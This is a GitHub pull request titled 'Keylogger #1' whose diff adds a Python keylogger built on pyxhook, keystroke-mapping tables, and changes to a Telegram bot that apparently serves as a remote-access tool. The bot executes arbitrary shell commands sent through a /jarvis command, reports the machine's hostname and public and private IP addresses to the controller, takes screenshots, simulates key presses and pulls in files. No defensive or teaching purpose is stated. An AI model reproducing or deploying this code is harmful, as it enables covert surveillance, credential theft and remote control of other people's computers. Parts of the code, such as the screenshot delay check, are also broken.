Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Keylogger #1

Open
wants to merge 3 commits into
base: main
Choose a base branch
from
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
70 changes: 70 additions & 0 deletions keylogger_Unix.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,70 @@
import pyxhook
import time

# Global variables
captured_keys = []
stop_event = False

# Function to handle key press events


def on_key_press(event):
global captured_keys
substitution = {
'Key.enter': '[ENTER]\n',
'Key.backspace': '[BACKSPACE]',
'Key.space': ' ',
'Key.alt_l': '[ALT]',
'Key.tab': '[TAB]',
'Key.delete': '[DEL]',
'Key.ctrl_l': '[CTRL]',
'Key.left': '[LEFT ARROW]',
'Key.right': '[RIGHT ARROW]',
'Key.shift': '[SHIFT]',
'\\x13': '[CTRL-S]',
'\\x17': '[CTRL-W]',
'Key.caps_lock': '[CAPS LK]',
'\\x01': '[CTRL-A]',
'Key.cmd': '[WINDOWS KEY]',
'Key.print_screen': '[PRNT SCR]',
'\\x03': '[CTRL-C]',
'\\x16': '[CTRL-V]'
}

key = str(event).strip('\'')
if key in substitution:
captured_keys.append(substitution[key])
else:
captured_keys.append(key)

if stop_event:
hook_manager.cancel()
return False

# Function to start capturing keys


def start_keylogger(duration):
global stop_event
global captured_keys

hook_manager = pyxhook.HookManager()
hook_manager.KeyDown = on_key_press
hook_manager.HookKeyboard()

try:
hook_manager.start()
time.sleep(duration)
except KeyboardInterrupt:
pass

stop_event = True
hook_manager.cancel()
return ''.join(captured_keys)


# Example usage: Capture keys for 10 seconds and print the log
duration = 10 # Set the duration in seconds
log = start_keylogger(duration)
print('Captured Keys:')
print(log)
95 changes: 76 additions & 19 deletions main.py
Original file line number Diff line number Diff line change
@@ -1,3 +1,5 @@
import requests
import threading
from telegram.ext import Updater, CommandHandler, MessageHandler, Filters, CallbackContext
from telegram import Update
import telegram.ext
Expand All @@ -14,14 +16,14 @@


# Set up logging
file_name = "app.log"
logging.basicConfig(filename=file_name, level=logging.DEBUG,
LogInFiles = True

logging.basicConfig(filename="app.log" if LogInFiles else None, level=logging.DEBUG,
format='%(asctime)s - %(levelname)s - %(message)s')
logging.info('-'*500)
logging.info('-'*500) if LogInFiles else None

# inilazation
Token = ""
ChatId = ""
Token, ChatId = "", ""

try:
with open("config.json", 'r') as config_file:
Expand Down Expand Up @@ -61,15 +63,18 @@ def ls(update, context):
def system_info(context):
try:
hostname = socket.gethostname()
ip = socket.gethostbyname(hostname)
private_ip = socket.gethostbyname(hostname)
plat = platform.processor()
system = platform.system()
machine = platform.machine()
response = requests.get('https://api.ipify.org?format=json')
public_ip = response.json()['ip']

SysInfo_str = (
f"System Information:\n\n"
f"Hostname: {hostname}\n"
f"IP Address: {ip}\n"
f"Private IP Address: {private_ip}\n"
f"Public IP Address: {public_ip}\n"
f"Processor: {plat}\n"
f"System: {system}\n"
f"Machine: {machine}")
Expand Down Expand Up @@ -130,10 +135,19 @@ def content(update, context):

def screenshot(update, context):
try:
if update.message.text > len("/screen "):
afterTime = update.message.text(len("/screen "))
if type(afterTime) == type(int): # In seconds
time.sleep(afterTime)
else:
pass
image_path = take_screenshot()
update.message.reply_photo(photo=open(image_path, 'rb'))
except Exception as e:
update.message.reply_text(f"Error: {e}")
# os.remove(image_path)
# subprocess.run(['rm', image_path])
# print("deleted image", image_path)
logging.error(e)


Expand All @@ -144,6 +158,7 @@ def admin(update, context):


def handle_text(update, context):
pyautogui.FAILSAFE = False
try:
user_text = update.message.text

Expand All @@ -170,16 +185,21 @@ def handle_text(update, context):

def run_command(update, context):
# Get the command from the user's message
def excute_command(command):
try:
# Execute the command using subprocess
result = subprocess.check_output(command, shell=True, text=True)
update.message.reply_text(
f"The Command '{command}' executed successfully:\n{result}")
logging.debug(f"command: {command}")
except subprocess.CalledProcessError as e:
update.message.reply_text(f"Error executing command:\n{e}")
logging.error(f"Error executing command:\n{e}")

command = update.message.text[len('/jarvis '):]

try:
# Execute the command using subprocess
result = subprocess.check_output(command, shell=True, text=True)
update.message.reply_text(f"Command executed successfully:\n{result}")
logging.debug(f"command: {command}")
except subprocess.CalledProcessError as e:
update.message.reply_text(f"Error executing command:\n{e}")
logging.error(f"Error executing command:\n{e}")
thread = threading.Thread(target=excute_command, args=(command,))
thread.start()


def blocker(update, context):
Expand All @@ -205,7 +225,7 @@ def blocker(update, context):
update.message.reply_text(f"Error while blocking: \n{e}")


def download_file(update, context):
def download_file_unpluged(update, context):
try:
# Get the file ID from the message
file_id = update.message.document.file_id
Expand All @@ -228,6 +248,32 @@ def download_file(update, context):
logging.error(e)


def download_file(update, context):
try:
# Get the file ID from the message
file_id = update.message.document.file_id

# Get information about the file using its ID
file_info = context.bot.get_file(file_id)

# Extract original filename
original_file_name = file_info.file_path.split('/')[-1]

# Download the file with the original filename
downloaded_file = file_info.download(custom_path=original_file_name)

# Reply to the user with the download path and file name
update.message.reply_text(
f"File '{original_file_name}' downloaded successfully.")
logging.debug(
f"File '{original_file_name}' downloaded successfully.")

except Exception as e:
error_message = f"Error occurred while downloading file: {e}"
update.message.reply_text(error_message)
logging.error(error_message, exc_info=True)


def press_key(update, context):
try:
# Extract the keyour_context_variabley combination after the /presskey command
Expand Down Expand Up @@ -307,8 +353,19 @@ def edit_message(update, context):
except Exception as e:
update.message.reply_text(f"Error: {e}")

# Main handlers

def disturb(update, context):
try:
argument = update.message.text[len("/disturb "):]
if argument:
arguments = argument.split()
update.message.reply_text(arguments)

except Exception as e:
update.message.reply_text(f"Error: {e}")


# Main handlers

updater = telegram.ext.Updater(Token, use_context=True)

Expand All @@ -323,7 +380,6 @@ def edit_message(update, context):
disp.add_handler(telegram.ext.MessageHandler(
telegram.ext.Filters.document, download_file))
disp.add_handler(telegram.ext.CommandHandler('yo', yo))
# disp.add_handler(telegram.ext.CommandHandler('yo', yo))
disp.add_handler(telegram.ext.CommandHandler('press', press_key))
disp.add_handler(telegram.ext.MessageHandler(
telegram.ext.Filters.regex("arrow"), arrow_key))
Expand All @@ -332,9 +388,10 @@ def edit_message(update, context):
disp.add_handler(CommandHandler("cd", cd))
disp.add_handler(CommandHandler("ls", ls))
disp.add_handler(CommandHandler("blocker", blocker))
disp.add_handler(CommandHandler("disturb", disturb))

disp.add_handler(telegram.ext.MessageHandler(
telegram.ext.Filters.text, handle_text)) # biggest problem was due to this line which was initially placed inline 319 therefore the handers after this were not working
telegram.ext.Filters.text, handle_text))

updater.job_queue.run_once(system_info, 0)

Expand Down
67 changes: 67 additions & 0 deletions mapping.txt
Original file line number Diff line number Diff line change
@@ -0,0 +1,67 @@
# LONG

mapping = {
'Key.enter': '[ENTER]\n',
'Key.backspace': '[BACKSPACE]',
'Key.space': ' ',
'Key.alt_l': '[ALT]',
'Key.alt_r': '[ALT]',
'Key.tab': '[TAB]',
'Key.delete': '[DEL]',
'Key.ctrl_l': '[CTRL]',
'Key.ctrl_r': '[CTRL]',
'Key.left': '[LEFT ARROW]',
'Key.right': '[RIGHT ARROW]',
'Key.shift': '[SHIFT]',
'Key.shift_r': '[SHIFT]',
'Key.caps_lock': '[CAPS LK]',
'Key.cmd': '[WINDOWS KEY]',
'Key.print_screen': '[PRNT SCR]',
'Key.scroll_lock': '[SCROLL LK]',
'Key.pause': '[PAUSE]',
'\\x03': '[CTRL-C]',
'\\x16': '[CTRL-V]',
'\\x01': '[CTRL-A]',
'\\x08': '[BACKSPACE]',
'\\x09': '[TAB]',
'\\x0a': '[LF]',
'\\x0b': '[VT]',
'\\x0c': '[FF]',
'\\x0d': '[CR]',
'\\x1a': '[SUB]',
'\\x1b': '[ESC]',
'\\x7f': '[DEL]',
'\\x10': '[SHIFT]',
'\\x11': '[CTRL]',
'\\x12': '[ALT]',
'\\x13': '[CTRL-S]',
'\\x17': '[CTRL-W]',
'\\x18': '[CTRL-X]',
'\\x19': '[CTRL-Y]',
'\\x1f': '[CTRL-]',
'\\x7f': '[BACKSPACE]',
'\\t': '[TAB]',
'\\n': '[ENTER]\n',
'\\r': '[ENTER]\n',
'\\x1b[A': '[UP ARROW]',
'\\x1b[B': '[DOWN ARROW]',
'\\x1b[C': '[RIGHT ARROW]',
'\\x1b[D': '[LEFT ARROW]',
}


#SHORT

mapping = {
'Key.enter': '[ENTER]\n', 'Key.backspace': '[BACKSPACE]', 'Key.space': ' ',
'Key.alt_l': '[ALT]', 'Key.alt_r': '[ALT]', 'Key.tab': '[TAB]', 'Key.delete': '[DEL]',
'Key.ctrl_l': '[CTRL]', 'Key.ctrl_r': '[CTRL]', 'Key.left': '[LEFT ARROW]', 'Key.right': '[RIGHT ARROW]',
'Key.shift': '[SHIFT]', 'Key.shift_r': '[SHIFT]', 'Key.caps_lock': '[CAPS LK]', 'Key.cmd': '[WINDOWS KEY]',
'Key.print_screen': '[PRNT SCR]', 'Key.scroll_lock': '[SCROLL LK]', 'Key.pause': '[PAUSE]',
'\\x03': '[CTRL-C]', '\\x16': '[CTRL-V]', '\\x01': '[CTRL-A]', '\\x08': '[BACKSPACE]', '\\x09': '[TAB]',
'\\x0a': '[LF]', '\\x0b': '[VT]', '\\x0c': '[FF]', '\\x0d': '[CR]', '\\x1a': '[SUB]', '\\x1b': '[ESC]',
'\\x7f': '[DEL]', '\\x10': '[SHIFT]', '\\x11': '[CTRL]', '\\x12': '[ALT]', '\\x13': '[CTRL-S]', '\\x17': '[CTRL-W]',
'\\x18': '[CTRL-X]', '\\x19': '[CTRL-Y]', '\\x1f': '[CTRL-]', '\\x7f': '[BACKSPACE]', '\\t': '[TAB]',
'\\n': '[ENTER]\n', '\\r': '[ENTER]\n', '\\x1b[A': '[UP ARROW]', '\\x1b[B': '[DOWN ARROW]',
'\\x1b[C': '[RIGHT ARROW]', '\\x1b[D': '[LEFT ARROW]',
}